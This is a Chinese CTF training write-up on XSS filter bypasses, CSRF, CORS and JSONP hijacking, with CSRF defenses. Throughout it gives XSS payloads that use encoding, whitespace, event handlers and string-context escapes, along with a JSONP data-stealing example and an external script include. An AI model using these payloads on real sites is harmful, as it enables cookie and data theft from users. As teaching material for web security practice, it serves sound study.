CTF-web Xman-2018 第五天 xss csrf
xss常見套路
對於xss,實際上就是把我們提交上去的資料當做程式碼執行,對於這種實際上有很多種情況可以攻擊,下面具體介紹一些常用的套路。
先看一些小trik
很多HTML標記中的屬性都支援javascript:[code]偽協議的形式.
<table background="javascript:alert(/xss/)"></table>
<img src="javascript:alert('xss');">
如果XSS Filter僅僅把敏感的輸入字元列入黑名單處理,使用者可以利用空格、回車和Tab鍵繞過限制:
<img src="javas cript:alert(/xss/)" width=100>
對於普通HTML標記的屬性進行過濾的可以通過編碼處理來繞過,因為HTML中屬性值本身支援ASCII碼形式.
<imgsrc="javascript:alert('xss');"> 替換為如下形式 替換成ascii &#加ascii就表示對應的 <imgsrc="javascript:alert(/xss/);"> t的ascii值為116,用t表示 而:則用: 另外,Tab符的ASCII碼為	、換行符的
、回車符的
可以插入到程式碼中任何地方.
假設使用者不能依靠屬性值進行跨站,可以通過事件來解決
<input type="button"value="click me" onclick="alert('click me')" />
如:<img src="#" onerror=alert(/xss/)> 讀取錯誤 引發onerror,可以用的事件還有很多
使用with繞過點的過濾,with表示對型別的封裝,作用域內可以直接訪問它的.成員
var a={},a.name='張三';a.sex='女'; //常用來獲取document.cookie等 with(a){ console.log(name); console.log(sex); }
1. 閉合標籤或者表示式
程式碼中獲取我們提交的資料,但是是在表示式或者函式中等,請看例子
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}
我們輸入的字串被新增到console中執行,但是我們可以特殊構造s,閉合函式,然後執行alert
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}
1");alert(1)//
<script>console.log("1");alert(1)//");</script>
1");alert(1);("
<script>console.log("1");alert(1);("");</script>
可以成功執行了。
2. 過濾" -加\
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
將資料中的“進行轉義,我們可在再次新增\轉義它的\,使得”逃逸
\");alert(1);//
<script>console.log("\\");alert(1);//");</script>
3.全字元轉義 -閉合標籤
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}
將我們輸入的全部識別為字串,不會包含特殊字元,但是可以使用閉合標籤的方法。
");alert(1)//
<script>console.log("\");alert(1)//");</script> //全是字元形式的
</script><script>alert(1)</script>
<script>console.log("</script><script>alert(1)</script> ");</script> //報錯 但是可以執行
4.html引數獲取 - url編碼
function escape(s) {
var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
console.log(url);
var a = document.createElement('a');
a.href = url;
document.body.appendChild(a);
a.click();
}
大概的意思就是把獲取的經過轉義的字串作為元素a的href
<a href='javascript:console.log(' + JSON.stringify(s) + ')'>/a>
//這裡的話我們可以使用html編碼的%22=" 繞過JSON.stringify
s=%22)alert(1)//
<a href="javascript:console.log("%22); alert(1)//")">/a>
//得到的如下
<a href="javascript:console.log("");alert(1)//")">/a>
CSRF
CSRF概念:CSRF跨站點請求偽造(Cross—Site Request Forgery),跟XSS攻擊一樣,存在巨大的危害性,你可以這樣來理解:
攻擊者盜用了你的身份,以你的名義傳送惡意請求,對伺服器來說這個請求是完全合法的,但是卻完成了攻擊者所期望的一個操作,比如以你的名義傳送郵件、發訊息,盜取你的賬號,新增系統管理員,甚至於購買商品、虛擬貨幣轉賬等。 原理如下:攻擊者只是借用了你的資訊去攻擊其他網站
原理:攻擊者在自己的網頁中構造特殊的請求,當受害者訪問時會執行特殊請求,被攻擊者利用了。跟xss一個類似的是,我們在其中嵌入特殊資訊,用來別人訪問時執行。但是有一些問題:refer引數是攻擊者的refer,攻擊者利用的引數等是受害者的。
防禦:驗證 HTTP Referer 欄位;在請求地址中新增 token 並驗證;在 HTTP 頭中自定義屬性並驗證。
驗證 HTTP Referer 欄位
在 HTTP 頭中有一個欄位叫 Referer,它記錄了該 HTTP 請求的來源地址。在通常情況下,訪問一個安全受限頁面的請求來自於同一個網站。
在請求地址中新增 token 並驗證
CSRF 攻擊之所以能夠成功,是因為黑客可以完全偽造使用者的請求,該請求中所有的使用者驗證資訊都是存在於 cookie 中,因此黑客可以在不知道這些驗證資訊的情況下直接利用使用者自己的 cookie 來通過安全驗證。要抵禦 CSRF,關鍵在於在請求中放入黑客所不能偽造的資訊,並且該資訊不存在於 cookie 之中。可以在 HTTP 請求中以引數的形式加入一個隨機產生的 token,並在伺服器端建立一個攔截器來驗證這個 token,如果請求中沒有 token 或者 token 內容不正確,則認為可能是 CSRF 攻擊而拒絕該請求。
在 HTTP 頭中自定義屬性並驗證
這種方法也是使用 token 並進行驗證,和上一種方法不同的是,這裡並不是把 token 以引數的形式置於 HTTP 請求之中,而是把它放到 HTTP 頭中自定義的屬性裡。通過 XMLHttpRequest 這個類,可以一次性給所有該類請求加上 csrftoken 這個 HTTP 頭屬性,並把 token 值放入其中。這樣解決了上種方法在請求中加入 token 的不便,同時,通過 XMLHttpRequest 請求的地址不會被記錄到瀏覽器的位址列,也不用擔心 token 會透過 Referer 洩露到其他網站中去。
常見的一種型別是給你一個輸入框,提交資訊然偶伺服器後臺會使用機器人訪問,給出響應,一般為了減少大量的請求,會採用驗證碼等
我們看請求的響應頭有
說明是不允許的跨域的,思路是寫一個指令碼,然後在本地用另一個指令碼載入就可以訪問了。
<img src= 通過
師傅給的程式碼
<script
src="http://zzm.cat/xss2/reports/b7aqslen7nma6pivd21gfme670.php "></script>
我們看一下那個檔案的內容,可以看到檔案被執行了
http://zzm.cat/xss2/reports/b7aqslen7nma6pivd21gfme670.php
針對這種情況,頁面有一些原生的指令碼,可能是這樣寫的<script src="js/juery.js">
如果能在上邊插入<base href=XXXXXXX>, 這個指令碼就會根據這個為基址,來引入指令碼
(只有正確的nonce才能用)
(有的網站設定**refer什麼的欄位,可以不帶refer欄位進行請求)
CORS跨域共享
典型的特徵是
當前所看到的頁面是從多個不同的域中得到的,簡單來說就是從不同網站得到的。然而在正常的訪問中,是不會允許這樣的從一個網站去獲取另外一個網站的資訊。就CORS而言,使用它的根本原因就是要完成資源的跨域訪問,也就是如何繞過Same-origin Policy。
Same-origin Policy是同源策略SOP,簡單地說,在一個瀏覽器中訪問的網站不能訪問另一個網站中的資料,除非這兩個網站具有相同的Origin,也即是擁有相同的協議、主機地址以及埠。一旦這三項資料中有一項不同,那麼該資源就將被認為是從不同的Origin得來的,進而不被允許訪問。
同源策略的具體表現舉例:當attacker.me試圖獲取victim.me下的資源,瀏覽器會阻止返回該資源。
當然,解決這個問題也是有意義的,例如一個網站有不同的域,卻不能互相通訊;其二確實不同網站之間有時也需要互動。有三種方法,
第一個是修改文件域:
document.domain = ‘ambergarden.com’;
同一主域的不同子域可以設定document.domain為主域來讓他們同域,並且子域的協議和埠都要一致。
第二就是通過事件與處理函式來跨域: <script src="http://blog.ambergarden.com/someData?callback=some_func"/> 最後就是我們要說的CORS,實際上就是通過一些請求和響應頭來代替策略。如果我們跨域訪問一個網站,響應包含如下頭: Access-Control-Allow-Origin: http://ambergarden.com
說明允許跨域,並且不考慮策略,但是為了限制使用,分三種情況。最簡單的就是普通的simple request。如果在請求的欄位中包含
任何自定義請求頭, 那麼就是Preflighted Request。
如果更過分的包含當前網站的使用者憑證,那麼其就屬於Requests with Credential,這是為了加強保護,防止攻擊和利用的。
可跨域的標籤
<script src="..."></script>
<img src="...">
<video src="..."></video>
<audio src="..."></audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe>
<link rel="stylesheet" href="...">
<applet code="..."></applet>
<object data="..." ></object>
JSONP跨域巧妙的利用了script標籤能跨域的特點,實現了json的跨域傳輸。
<!-- jsonp_hijack.html -->
<script>
function addScriptTag(src) {
var script = document.createElement('script');
script.setAttribute("type","text/javascript");
script.src = src;
document.body.appendChild(script);
}
window.onload = function () {
addScriptTag('http://ip.jsontest.com/?callback=ip'); //利用script實現跨域訪問
}
function ip(data) { //預設ip函式
alert(data.ip); //獲取別人的網址
};
</script>
當這個介面沒有驗證Referer頭的時候,就存在JSONP劫持漏洞,即在任何域下都能竊取到傳輸的資料。
當介面返回的是一些敏感資料時(如CSRF TOKEN,使用者個人資訊等),我們也可以獲取這個資訊。
header("Access-Control-Allow-Origin: http://attacker.me");
而CORS跨域請求,需要對方網站事先設定一個白名單,當跨域訪問時檢視名單,如果包含那麼就允許跨域。
此時是沒有攜帶cookie的,如果需要支援cookie,還需要服務端配置:
header("Access-Control-Allow-Credentials: true");
還有一種特殊情況,就是Access-Control-Allow-Origin設定成萬用字元”*”時,表示允許任何域名跨源。
如果再把Access-Control-Allow-Credentials設定為true,允許客戶端帶上cookie的話,無疑此時是非常危險的.因為攻擊者很容易就能竊取到使用者個人的資料。所以瀏覽器加上了最後一道防線,當
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
這種配置出現時,瀏覽器會拒接呈現服務端返回的資源.。